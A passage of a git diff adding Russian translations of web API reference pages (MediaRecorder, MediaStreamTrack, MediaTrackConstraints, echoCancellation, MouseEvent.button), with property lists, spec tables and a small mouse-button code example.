+  &lt;p&gt;<em>your clip name</em>&lt;/p&gt;
+  &lt;button&gt;Delete&lt;/button&gt;
+&lt;/article&gt;</pre>
+
+<p>После этого создаем объект {{domxref("Blob")}} с комбинацией наших записанных частей аудио и создаем объект URL ссылающийся на него, используя метод <code>window.URL.createObjectURL(blob)</code>. Затем устанавливаем значение атрибута {{htmlattrxref("src", "audio")}} элемента {{HTMLElement("audio")}} в созданный объект URL, так, что бы при нажатии на кнопку воспроизведения объект <code>Blob</code> передал свои данные элементу.</p>
+
+<p>Наконец, устанавливаем обработчик события <code>onclick</code> на кнопке удаления, для удаления всей структуры HTML проигрывания результата записи (элемент clip).</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<h3 id="MediaRecorder"><code>MediaRecorder</code></h3>
+
+
+
+<p>{{Compat("api.MediaRecorder")}}</p>
+
+<h2 id="Смтотри_так_же">Смтотри так же</h2>
+
+<ul>
+ <li>Страница <a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a> </li>
+ <li><code>{{domxref("Navigator.getUserMedia()")}}</code></li>
+ <li>Интерфейс <a href="https://addpipe.com/blog/media-recorder-api-is-now-supported-by-65-of-all-desktop-internet-users/">MediaRecorder теперь поддерживают  65% вебсайтов</a></li>
+</ul>
diff --git a/files/ru/web/api/mediastreamtrack/index.html b/files/ru/web/api/mediastreamtrack/index.html
new file mode 100644
index 0000000000..c4cde3ab2a
--- /dev/null
+++ b/files/ru/web/api/mediastreamtrack/index.html
@@ -0,0 +1,128 @@
+---
+title: MediaStreamTrack
+slug: Web/API/MediaStreamTrack
+tags:
+  - API
+  - API потоков медия
+  - MediaStreamTrack
+  - WebRTC
+  - Видео
+  - Запись медиа и API для потоков
+  - Интерфейс
+  - Медиа
+  - аудио
+translation_of: Web/API/MediaStreamTrack
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">Интерфейс <strong><code>MediaStreamTrack</code></strong><strong> </strong>представляет один медиа трек в потоке; обычно это адуио или видео трек, но могут использоваться и другие типы.</span></p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p>В дополнение к свойствам, перечисленным ниже, <code>MediaStreamTrack</code> имеет свойства с ограничениями, которые можноустановить с помощью {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} и просмотреть с через {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}} и {{domxref("MediaStreamTrack.getSettings", "getSettings()")}}. Смотрите <a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">capabilities, constraints, and settings</a>, чтобы узнать, как правильно работать со свойствами с ограничениями. Если использовать их неправильно, ваш код будет ненадёжным.</p>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.contentHint")}}</dt>
+ <dd>Строка, которую веб приложение может использовать для создания подсказок, какой тип данных содержит трек, чтобы их могли различать пользователи API.</dd>
+ <dt>{{domxref("MediaStreamTrack.enabled")}}</dt>
+ <dd>Имеет значение <code>true</code>, если трек включён, то ечть может может отображать поток медиа; или <code>false</code>, если он выключен, то есть отображает не поток данных, а чёрное изображение без звука. Если трек отключён, это свойство можно менять, но это не будет давать никакого эффекта.
+ <div class="note"><strong>Обратите внимание:</strong> Вы можете создать стандартную функцию "заглушить звук", устанавливая свойство <code>enabled</code> в значение <code>false</code>. Свойство <code>muted</code> используется, когда данные отсутствуют из-за технической проблемы.</div>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.id")}} {{readonlyInline}}</dt>
+ <dd>Возвразает объект {{domxref("DOMString")}}, содержащий уникальный идентификатор (GUID) трека; генерируется браузером.</dd>
+ <dt>{{domxref("MediaStreamTrack.isolated")}} {{readonlyInline}}</dt>
+ <dd>Возвращает <code>true</code>, если трек <strong>изолирован</strong>, то есть не доступен документу, которому принадлежит. Это случается, когда устанавливается свойство {{domxref("MediaStreamTrack.peerIdentity", "peerIdentity")}} или трек исходит от cross-origin ресурса.</dd>
+ <dt>{{domxref("MediaStreamTrack.kind")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("DOMString")}} со значением <code>"audio"</code>, если это аудио трек или <code>"video"</code>, если это видео трек. Не меняется, когда трек отвязывается от источника.</dd>
+ <dt>{{domxref("MediaStreamTrack.label")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("DOMString")}}, содержащий установленные агентом метки, обозначающие источник трека, например <code>"internal microphone"</code> (внутренний микрофон). Строка может быть пустой и является таковой, если не подключён никакой источник. Когда трек отвязывается от источника, метка не меняется.</dd>
+ <dt>{{domxref("MediaStreamTrack.muted")}} {{readonlyInline}}</dt>
+ <dd>Возвращает <code>true</code>, если трек не может предоставить данные по техническим причинам.
+ <div class="note"><strong>Обратите внимание:</strong> Вы можете создать стандартную функцию "заглушить звук", устанавливая свойство <code>enabled</code> в значение <code>false</code>, и возвращать звук, снова устанавливая его в значение <code>true</code>.</div>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.readonly")}} {{readonlyInline}}</dt>
+ <dd>Возвращает <code>true</code>, если трек предназначен только для чтения (например, если его источник - видео файл или камера, настройки которой не могут быть изменены), иначе <code>false</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}</dt>
+ <dd>Возвращает одно из следующих значений, обозначающих статус трека:
+ <ul>
+  <li><code>"live"</code> означает, что источник подключен и делает всё, чтобы предоставить данные в реальном времени. В этом случае, поток данных можно включать и выключать с помощью свойство {{domxref("MediaStreamTrack.enabled", "enabled")}}.</li>
+  <li><code>"ended"</code> означает, что источник больше не предоставляет и больше не будет предоставлять данные.</li>
+ </ul>
+ </dd>
+ <dt>{{domxref("MediaStreamTrack.remote")}} {{readonlyInline}} {{deprecated_inline}}</dt>
+ <dd>Имеет значение <code>true</code>, если источником трека является {{domxref("RTCPeerConnection")}}, иначе <code>false</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("MediaStreamTrack.applyConstraints()")}}</dt>
+ <dd>Позволяет приложению указывать желательные и/или допустимые диапазоны значений для любого количества свойств с ограничениями объекта <code>MediaStreamTrack</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.clone()")}}</dt>
+ <dd>Возвращает копию объекта <code>MediaStreamTrack</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.getCapabilities()")}}</dt>
+ <dd>Возвращает список свойств с ограничениями, доступных объекту <code>MediaStreamTrack</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.getConstraints()")}}</dt>
+ <dd>Возвращает объект {{domxref('MediaTrackConstraints')}}, содержащий установленные ограничения на трек; возвращаемое значение удовлетворяет ограничениям, установленным методом {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}.</dd>
+ <dt>{{domxref("MediaStreamTrack.getSettings()")}}</dt>
+ <dd>Возвращает объект {{domxref("MediaTrackSettings")}}, содержащий тукщее значение всех свойств с ограничениями объекта <code>MediaStreamTrack</code>.</dd>
+ <dt>{{domxref("MediaStreamTrack.stop()")}}</dt>
+ <dd>Останавливает проигрывание источника, к которому привязан трек. И источник, и трек отвязываются. Состояние трека устанавливается в значение <code>ended</code>.</dd>
+</dl>
+
+<h2 id="События">События</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStreamTrack/ended_event">ended</a></code></dt>
+ <dd>Вызывается, когда проигрывание трека останавливается (когда значение {{domxref("MediaStreamTrack.readyState", "readyState")}} становится <code>ended</code>).<br>
+ Обработчик может быть установлен как свойство <code><a href="/en-US/docs/Web/API/MediaStreamTrack/onended">onended</a></code>.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStreamTrack/mute_event">mute</a></code></dt>
+ <dd>Вызывается, когда {{domxref("MediaStreamTrack.muted", "muted")}} принимает значение <code>true</code>, что означает, что трек временно не может предоставлять данне (например, при плохом подключении сети).<br>
+ Обработчик может быть установлен как свойство <code><a href="/en-US/docs/Web/API/MediaStreamTrack/onmute">onmute</a></code>.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStreamTrack/isolationchange_event">isolationchange</a></code></dt>
+ <dd>Вызывается, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} принимает значение <code>true</code> из-за того, что документ больше не имеет разрешение на доступ к треку.<br>
+ Обработчик может быть установлен как свойство <code><a href="/en-US/docs/Web/API/MediaStreamTrack/onisolationchange">onisolationchange</a></code>.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStreamTrack/overconstrained_event">overconstrained</a></code> {{deprecated_inline}}</dt>
+ <dd>Вызывается, когда источник не удовлетворяет ограничениям трека, что делает его непригодным для использования.<br>
+ Обработчик может быть установлен как свойство <code><a href="/en-US/docs/Web/API/MediaStreamTrack/onoverconstrained">onoverconstrained</a></code>.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/MediaStreamTrack/unmute_event">unmute</a></code></dt>
+ <dd>Вызывается, когда данные снова становятся доступными, то есть пропадают технические проблемы.<br>
+ Обработчик может быть установлен как свойство <code><a href="/en-US/docs/Web/API/MediaStreamTrack/onunmute">onunmute</a></code>.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#mediastreamtrack', 'MediaStreamTrack')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebRTC Identity", "#isolated-track", "Isolated tracks")}}</td>
+   <td>{{Spec2("WebRTC Identity")}}</td>
+   <td>Additional properties for isolated track support</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaStreamTrack")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li>{{domxref("MediaStream")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediatrackconstraints/index.html b/files/ru/web/api/mediatrackconstraints/index.html
new file mode 100644
index 0000000000..1265eca23f
--- /dev/null
+++ b/files/ru/web/api/mediatrackconstraints/index.html
@@ -0,0 +1,195 @@
+---
+title: MediaTrackConstraints
+slug: Web/API/MediaTrackConstraints
+tags:
+  - API
+  - Constraints
+  - Dictionary
+  - Interface
+  - Media
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaTrackConstraints
+  - NeedsTranslation
+  - Reference
+  - Screen Sharing
+  - Screen Sharing API
+  - Sharing
+  - TopicStub
+  - WebRTC
+  - screen
+translation_of: Web/API/MediaTrackConstraints
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>The <strong><code>MediaTrackConstraints</code></strong> dictionary is used to describe a set of capabilities and the value or values each can take on. A constraints dictionary is passed into {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} to allow a script to establish a set of exact (required) values or ranges and/or preferred values or ranges of values for the track, and the most recently-requested set of custom constraints can be retrieved by calling {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}.</p>
+
+<p>For each constraint, you can typically specify an exact value you need, an ideal value you want, a range of acceptable values, and/or a value which you'd like to be as close to as possible. The specifics vary somewhat depending on the type of the constrainable property.</p>
+
+<p>To learn more about how constraints work, see <a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Capabilities, constraints, and settings</a>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p>Some combination—but not necessarily all—of the following properties will exist on the object. This may be because a given browser doesn't support the property, or because it doesn't apply. For example, because {{Glossary("RTP")}} doesn't provide some of these values during negotiation of a WebRTC connection, a track associated with a {{domxref("RTCPeerConnection")}} will not include certain values, such as {{domxref("MediaTrackConstraints.facingMode", "facingMode")}} or {{domxref("MediaTrackConstraints.groupId", "groupId")}}.</p>
+
+<h3 id="Properties_of_all_media_tracks">Properties of all media tracks</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.deviceId", "deviceId")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a device ID or an array of device IDs which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.groupId", "groupId")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a group ID or an array of group IDs which are acceptable and/or required.</dd>
+</dl>
+
+<h3 id="Properties_of_audio_tracks">Properties of audio tracks</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.autoGainControl", "autoGainControl")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} object which specifies whether automatic gain control is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.channelCount", "channelCount")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the channel count or range of channel counts which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.echoCancellation", "echoCancellation")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} object specifying whether or not echo cancellation is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.latency", "latency")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the latency or range of latencies which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.noiseSuppression", "noiseSuppression")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} which specifies whether noise suppression is preferred and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sampleRate", "sampleRate")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the sample rate or range of sample rates which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sampleSize", "sampleSize")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the sample size or range of sample sizes which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.volume", "volume")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the volume or range of volumes which are acceptable and/or required.</dd>
+</dl>
+
+<h3 id="Properties_of_image_tracks">Properties of image tracks</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.whiteBalanceMode","whiteBalanceMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.exposureMode","exposureMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.focusMode","focusMode")}}</dt>
+ <dd>A {{jsxref("String")}} specifying one of <code>"none"</code>, <code>"manual"</code>, <code>"single-shot"</code>, or <code>"continuous"</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.pointsOfInterest","pointsOfInterest")}}</dt>
+ <dd>The pixel coordinates on the sensor of one or more points of interest. This is either an object in the form { x:<em>value</em>, y:<em>value</em> } or an array of such objects, where <em>value </em> is a double-precision integer.</dd>
+ <dt>{{domxref("MediaTrackConstraints.expsureCompensation","exposureCompensation")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying f-stop adjustment by up to ±3. </dd>
+ <dt>{{domxref("MediaTrackConstraints.colorTemperature","colorTemperature")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired color temperature in degrees kelvin.</dd>
+ <dt>{{domxref("MediaTrackConstraints.iso","iso")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired iso setting.</dd>
+ <dt>{{domxref("MediaTrackConstraints.brightness","brightness")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying a desired brightness setting.</dd>
+ <dt>{{domxref("MediaTrackConstraints.contrast","contrast")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of difference between light and dark.</dd>
+ <dt>{{domxref("MediaTrackConstraints.saturation","saturation")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the degree of color intensity.</dd>
+ <dt>{{domxref("MediaTrackConstraints.sharpness","sharpness")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the intensity of edges.</dd>
+ <dt>{{domxref("MediaTrackConstraints.focusDistance","focusDistance")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying distance to a focused object.</dd>
+ <dt>{{domxref("MediaTrackConstraints.zoom","zoom")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} (a double-precision integer) specifying the desired focal length.</dd>
+ <dt>{{domxref("MediaTrackConstraints.torch","torch")}}</dt>
+ <dd>A {{jsxref("Boolean")}} defining whether the fill light is continuously connected, meaning it stays on as long as the track is active.</dd>
+</dl>
+
+<h3 id="Properties_of_video_tracks">Properties of video tracks</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.aspectRatio", "aspectRatio")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the video aspect ratio or range of aspect ratios which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.facingMode", "facingMode")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a facing or an array of facings which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.frameRate", "frameRate")}}</dt>
+ <dd>A {{domxref("ConstrainDouble")}} specifying the frame rate or range of frame rates which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.height", "height")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the video height or range of heights which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.width", "width")}}</dt>
+ <dd>A {{domxref("ConstrainLong")}} specifying the video width or range of widths which are acceptable and/or required.</dd>
+ <dt>{{domxref("MediaTrackConstraints.resizeMode", "resizeMode")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} object specifying a mode or an array of modes the UA can use to derive the resolution of a video track. Allowed values are <code>none</code> and <code>crop-and-scale</code>. <code>none</code> means that the user agent uses the resolution provided by the camera, its driver or the OS. <code>crop-and-scale</code> means that the user agent can use cropping and downscaling on the camera output  in order to satisfy other constraints that affect the resolution.</dd>
+</dl>
+
+<h3 id="Properties_of_shared_screen_tracks">Properties of shared screen tracks</h3>
+
+<p>These constraints apply to <code>MediaTrackConstraints</code> objects specified as part of the {{domxref("DisplayMediaStreamConstraints")}} object's {{domxref("DisplayMediaStreamConstraints.video", "video")}} property when using {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to obtain a stream for screen sharing.</p>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.cursor", "cursor")}}</dt>
+ <dd>
+ <p>A {{domxref("ConstrainDOMString")}} which specifies whether or not to include the mouse cursor in the generated track, and if so, whether or not to hide it while not moving. The value may be a single one of the following strings, or an array of them to allow the browser flexibility in deciding what to do about the cursor.</p>
+
+ <dl>
+  <dt><code>always</code></dt>
+  <dd>The mouse is always visible in the video content of the {domxref("MediaStream"), unless the mouse has moved outside the area of the content.</dd>
+  <dt><code>motion</code></dt>
+  <dd>The mouse cursor is always included in the video if it's moving, and for a short time after it stops moving.</dd>
+  <dt><code>never</code></dt>
+  <dd>The mouse cursor is never included in the shared video.</dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("MediaTrackConstraints.displaySurface", "displaySurface")}}</dt>
+ <dd>
+ <p>A {{domxref("ConstrainDOMString")}} which specifies the types of display surface that may be selected by the user. This may be a single one of the following strings, or a list of them to allow multiple source surfaces:</p>
+
+ <dl>
+  <dt><code>application</code></dt>
+  <dd>The stream contains all of the windows of the application chosen by the user rendered into the one video track.</dd>
+  <dt><code>browser</code></dt>
+  <dd>The stream contains the contents of a single browser tab selected by the user.</dd>
+  <dt><code>monitor</code></dt>
+  <dd>The stream's video track contains the entire contents of one or more of the user's screens.</dd>
+  <dt><code>window</code></dt>
+  <dd>The stream contains a single window selected by the user for sharing.</dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}</dt>
+ <dd>A {{domxref("ConstrainBoolean")}} value which may contain a single Boolean value or a set of them, indicating whether or not to allow the user to choose source surfaces which do not directly correspond to display areas. These may include backing buffers for windows to allow capture of window contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Capture', '#dom-mediatrackconstraints')}}</td>
+   <td>{{Spec2('Media Capture')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Image', '#mediatrackconstraintset-section')}}</td>
+   <td>{{Spec2('MediaStream Image')}}</td>
+   <td>Adds image constraints.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaTrackConstraints")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Capabilities, constraints, and settings</a></li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API">Screen Capture API</a></li>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Using the Screen Capture API</a></li>
+ <li>{{domxref("MediaDevices.getUserMedia()")}}</li>
+ <li>{{domxref("MediaStreamTrack.getConstraints()")}}</li>
+ <li>{{domxref("MediaStreamTrack.applyConstraints()")}}</li>
+ <li>{{domxref("MediaDevices.getSupportedConstraints()")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack.getSettings()")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediatrackconstraints/эхоподавление/index.html b/files/ru/web/api/mediatrackconstraints/эхоподавление/index.html
new file mode 100644
index 0000000000..3e8d1f1a4e
--- /dev/null
+++ b/files/ru/web/api/mediatrackconstraints/эхоподавление/index.html
@@ -0,0 +1,77 @@
+---
+title: MediaTrackConstraints.echoCancellation
+slug: Web/API/MediaTrackConstraints/Эхоподавление
+tags:
+  - API
+  - Media Capture and Streams API
+  - Media Streams API
+  - MediaTrackConstrains
+  - WebRTC
+  - Медиа
+  - Ограничения
+  - Свойство
+  - Эхоподавление
+  - справочник
+translation_of: Web/API/MediaTrackConstraints/echoCancellation
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p>Свойство <code><strong>echoCancellation</strong></code> объекта {{domxref("MediaTrackConstraints")}} это {{domxref("ConstrainBoolean")}} описывающее запрашиваемые или обязательные ограничения накладываемые на ограничивающее свойство {{domxref("MediaTrackSettings.echoCancellation", "echoCancellation")}}.</p>
+
+<p>При необходимости вы можете определить, поддерживается ли это ограничение, проверив значение {{domxref("MediaTrackSupportedConstraints.echoCancellation")}} как результат вызова {{domxref("MediaDevices.getSupportedConstraints()")}}. Однако, обычно в этом нет необходимости, поскольку браузеры просто игнорируют любые незнакомые им ограничения.</p>
+
+<p>Поскольку {{Glossary("RTP")}} не содержит эту информцию, медиа-треки связанные с <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> {{domxref("RTCPeerConnection")}} некогда не будут включать это свойство.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">const <em>constraintsObject</em> = {
+  echoCancellation: <em>constraint,</em>
+};
+
+<em>constraintsObject</em>.echoCancellation = <em>constraint</em>;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Если это значение является простым <code>true</code> или <code>false</code>, пользовательский агент попытается получить медиа с включенным или отключенным эхоподавлением, если это возможно, но не вернет ошибку, если это невозможно сделать. Иначе если значение передано как объект с полем <code>exact</code> , то логическое значение этого поля указывает обязательную настройку для эхоподавления; если это не может быть выполненым - запрос вернет ошибку.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Смотрите {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API/Constraints", "Example: Constraint exerciser")}} для примера.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Media Capture', '#dom-mediatrackconstraintset-echocancellation', 'echoCancellation') }}</td>
+   <td>{{ Spec2('Media Capture') }}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden"><br>
+Таблица совместимости на этой странице сгенерирована из структурированных данных. IЕсли вы хотите внести свой вклад в эти данные,  проверьте пожалуйста <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.MediaTrackConstraints.echoCancellation")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a></li>
+ <li><a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Capabilities, constraints, and settings</a></li>
+ <li>{{domxref("MediaTrackConstraints")}}</li>
+ <li>{{domxref("MediaDevices.getSupportedConstraints()")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/button/index.html b/files/ru/web/api/mouseevent/button/index.html
new file mode 100644
index 0000000000..a5bd49e4b9
--- /dev/null
+++ b/files/ru/web/api/mouseevent/button/index.html
@@ -0,0 +1,152 @@
+---
+title: MouseEvent.button
+slug: Web/API/MouseEvent/button
+translation_of: Web/API/MouseEvent/button
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>MouseEvent.button</code></strong> свойство доступное только для чтения, возвращает значение, соответствующее нажатой кнопки мыши, которое инициировало событие.</p>
+
+<p>Это свойство предоставляет информацию только о том, какая кнопка или несколько кнопок были нажаты или отпущены для инициации события, и не имеет отношения к таким событиям как  {{event("mouseenter")}}, {{event("mouseleave")}}, {{event("mouseover")}}, {{event("mouseout")}} или {{event("mousemove")}}.</p>
+
+<p>Пользователь может изменять конфигурацию кнопок своей мыши таким образом, что значение ноль будет получено при нажатии кнопки, не являющейся физически крайней левой кнопкой мыши, тем не менее, событие будет вести себя так, как будто левая кнопка была нажата в стандартной раскладкой кнопок.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Не путайте это свойство со свойством {{domxref ( "MouseEvent.buttons")}}, которое содержит значения, соответствующие нажатым кнопкам мыши для всех типов событий мыши.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>buttonPressed</em> = <em>instanceOfMouseEvent</em>.button
+</pre>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Число, соответстующее нажатой кнопке:</p>
+
+<ul>
+ <li><code>0</code>:  Нажата основная кнопка. Левая кнопка мыши или переназначенная пользователем другая кнопка</li>
+ <li><code>1</code>:  Нажата вспомогательная кнопка. Колёсико или средняя кнопка мыши, если она есть</li>
+ <li><code>2</code>:  Нажата вторичная кнопка. Правая кнопка мыши</li>
+ <li><code>3</code>:  Нажата четвёртая кнопка мыши. Обычно кнопка браузера <em>Назад</em></li>
+ <li><code>4</code>:  Нажата пятая кнопка мыши. Обычно кнопка браузера <em>Вперёд</em></li>
+</ul>
+
+<p>Для мыши, перенастроенной под левую руку, значения нажатых кнопок меняются местами. В этом случае значения читаются справа налево.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">&lt;script&gt;
+var whichButton = function (e) {
+    // Handle different event models
+    var e = e || window.event;
+    var btnCode;
+
+    if ('object' === typeof e) {
+        btnCode = e.button;
+
+        switch (btnCode) {
+            case 0:
+                console.log('Нажата левая кнопка.');
+            break;
+
+            case 1:
+                console.log('Нажата средняя кнопка или колёсико.');
+            break;
+
+            case 2:
+                console.log('Нажата правая кнопка.');
+            break;
+
+            default:
+                console.log('Неопределённое событие: ' + btnCode);
+        }
+    }
+}
+&lt;/script&gt;
+
+&lt;button onmouseup="whichButton(event);" oncontextmenu="event.preventDefault();"&gt;Нажмите кнопку мыши...&lt;/button&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-button','MouseEvent.button')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
